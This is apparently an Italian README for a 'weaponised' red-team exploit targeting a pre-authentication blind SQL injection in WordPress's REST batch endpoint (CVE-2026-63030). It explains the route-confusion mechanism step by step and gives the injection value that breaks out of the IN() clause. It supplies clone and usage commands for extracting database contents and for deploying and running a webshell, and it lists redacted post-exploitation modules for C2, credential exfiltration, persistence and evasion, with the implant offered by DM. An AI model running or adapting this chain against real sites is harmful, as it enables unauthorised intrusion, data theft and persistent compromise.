Una variante completamente armata per red-team (sicurezza offensiva) di wp2shell, costruita per test di penetrazione autorizzati e scopi educativi.
Un proof-of-concept autonomo per l'iniezione SQL blind non autenticata raggiungibile tramite l'endpoint batch REST di WordPress (/wp-json/batch/v1). È un'implementazione indipendente costruita a partire dai meccanismi di vulnerabilità pubblicati.
Avviso Ufficiale: Rilascio di Sicurezza WordPress | CVE-2026-63030
Autore: J4ck3LSyN
Autorità: CFSD, NFK & C4b1NKr3W
Nota: Non ho incluso l'impianto di persistenza armato associato
r00t.pyper ovvie ragioni legali. Per ottenerlo, puoi contattarmi in DM su x
[!WARNING]
Questo codice è fornito COSÌ COM'È solo a scopo educativo e di ricerca. Non utilizzare questo PoC su sistemi di produzione, ambienti condivisi o bersagli non autorizzati.
- L'esecuzione o l'hosting di questo codice potrebbe innescare rilevamenti antivirus, allerte di monitoraggio della sicurezza o conseguenze legali se utilizzato impropriamente.
- Gli autori e i manutentori del repository declinano ogni responsabilità per danni, uso improprio o attività illegali derivanti da questo codice.
poc.py - CLI principale del Proof-of-Concept (modalità check, read, shell)val.py - Validatore di vulnerabilità passivo leggero (val.py <target>)MITIGATIONS.md - Guida completa alle mitigazioni e all'indurimentoLETHALITY.html - Matrice di letalità delle capacità visiva (mappa di calore + kill chain)LICENSE - Licenza MITr00t.py:redacted - Orchestratore principale dell'impianto (collega tutto)modules/ - Moduli dell'impianto post-exploitationexploit.py - Logica principale dello sfruttamento (SQLi + primitiva RCE)privesc.py:redacted - Controlli di escalation dei privilegi locali (DirtyCOW, sudo, capabilities, ecc.)lpe_byond.py:redacted - LPE avanzato mediante tecniche BYOVD + eBPF (controllato dall'operatore)recon.py:redacted - Profilazione ed enumerazione dell'hostpersistence.py:redacted - Meccanismi di persistenza (systemd, cron, chiavi SSH)c2.py:redacted - Beacon C2 crittografato (HTTPS + DoH)exfil.py:redacted - Raccolta di credenziali ed esfiltrazione di datistealth.py:redacted - Anti-analisi, rilevamento sandbox e offuscamento| Ramo | Versioni Affette | Corretto In |
|---|---|---|
| 6.9.x | 6.9.0 - 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 - 7.0.1 | 7.0.2 |
Vedi i rilasci ufficiali di sicurezza di WordPress per i dettagli.
L'endpoint batch distribuisce diverse sotto-richieste in una singola chiamata, convalidando e controllando i permessi di ciascuna in modo indipendente. Quando il percorso di una sotto-richiesta non supera wp_parse_url(), viene aggiunto all'array di convalida ma non all'array dei gestori corrispondenti. I due array si sfasano e una sotto-richiesta successiva viene inviata sotto il gestore di una sotto-richiesta diversa. Questa è la confusione di rotta.
Questo PoC annida la primitiva due volte:
POST /wp/v2/posts che trasporta un corpo requests viene inviata sotto il gestore batch stesso. Essendo stata convalidata come richiesta di posts, la sua lista interna di requests non viene mai ricontrollata rispetto allo schema batch, quindi le sotto-richieste interne possono usare GET (bypass della lista di metodi consentiti).GET /wp/v2/users che trasporta author_exclude=... viene inviata sotto posts get_items(). Lo schema della collezione users non ha un parametro author_exclude, quindi il valore passa la convalida intatto. posts get_items() mappa author_exclude nella variabile di query author__not_in di WP_Query, che le build vulnerabili interpolano in SQL come stringa grezza.Il sink finale è un'iniezione SQL blind booleana/temporale pre-autenticazione:
... post_author NOT IN (<value>) ...
Un valore di 0) <sql>-- - chiude la lista IN() e appende SQL arbitrario.
Il PoC è a chiusura su fallimento. Tre porte di runtime impediscono l'esecuzione accidentale o fuori ambito. Tutte sono imposte in modules/exploit.py; la CLI in poc.py le passa solo attraverso.
| Flag | Ambito | Effetto quando assente |
|---|---|---|
--authorized | Tutto I/O di rete | AuthorizationError prima di qualsiasi invio |
--noop | Tutti i sottocomandi | Costruisce/stampa i payload; nessun contatto di rete |
--max-requests | BatchClient | Budget rigido di richieste |
--r00t | Sottocomando shell | Capacità RCE post-autenticazione non concesse |
AuthorizationError viene sollevato in BatchClient._ensure_authorized(), AdminSession._ensure_authorized() e AdminSession._ensure_r00t().BatchClient._count() impone --max-requests prima dell'apertura del socket.--r00t è il separatore di capacità: una build distribuita senza di esso non può distribuire o eseguire una webshell.Gestione delle credenziali per shell: nome utente/password dell'amministratore si risolvono da --user / --password, o da variabili d'ambiente / un file sicuro.
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2026-63030-wp2r00t.git
cd CVE-2026-63030-wp2r00t
python3 -m py_compile modules/exploit.py poc.py # controllo di base
Requisiti: Python 3.11+, solo libreria standard (nessuna dipendenza pip).
python3 poc.py <comando> <url> [flag]
Flag comuni (tutti i sottocomandi):
--authorized Afferma che possiedi / sei autorizzato a testare <url>. Necessario per inviare.
--noop Costruisci/validi i payload senza inviare (nessun contatto di rete).
--max-requests N Limite massimo di richieste al bersaglio.
--rest-route Usa /?rest_route=/batch/v1 invece di /wp-json/batch/v1.
--timeout FLOAT Timeout della richiesta (predefinito 30).
--proxy URL Proxy HTTP(S).
--insecure Disabilita la verifica del certificato TLS.
check - Conferma la vulnerabilità (non distruttivo)read - Estrazione SQL blindshell - Helper webshell post-autenticazione (richiede --r00t)validate - Identificatore passivoRiferimento Rapido
| Obiettivo | Comando |
|---|---|
| Anteprima dei payload di probe | python3 poc.py check <url> --noop |
| Conferma la vulnerabilità | python3 poc.py check <url> --authorized |
| Prova attiva basata sul tempo | ... check <url> --authorized --confirm-sqli |
| Anteprima dei payload SQLi | python3 poc.py read <url> --noop --query "SELECT @@version" |
| Estrai dati | python3 poc.py read <url> --authorized --query "SELECT @@version" |
| Anteprima manufatto webshell | python3 poc.py shell <url> --noop --r00t --cmd "id" |
| Distribuisci + esegui (autorizzato) | python3 poc.py shell <url> --authorized --r00t --user admin --cmd "id" |
| Scansione passiva | python3 poc.py validate <url> --authorized |
La documentazione completa dei comandi è disponibile nelle sezioni dettagliate originali (o esegui python3 poc.py --help).
jitter) e valori SLEEP variabili per campione
sconfiggono le analisi comportamentali WAF/NDR a cadenza fissa o delta fisso.I moduli post-exploitation (
recon,privesc,exfil,persistence,stealth,c2,lpe_byond) er00t.pyformano una catena di impianti separata che non fa parte del PoC esposto in rete ed è intenzionalmente esclusa dalle build condivise. Sono fuori dall'ambito di questo documento.
Questo progetto è concesso in licenza con la Licenza MIT. Vedi LICENSE per i dettagli.
Disclaimer: Utilizzare solo su sistemi di cui si è proprietari o per cui si è esplicitamente autorizzati a testare. Gli autori declinano ogni responsabilità per qualsiasi uso improprio.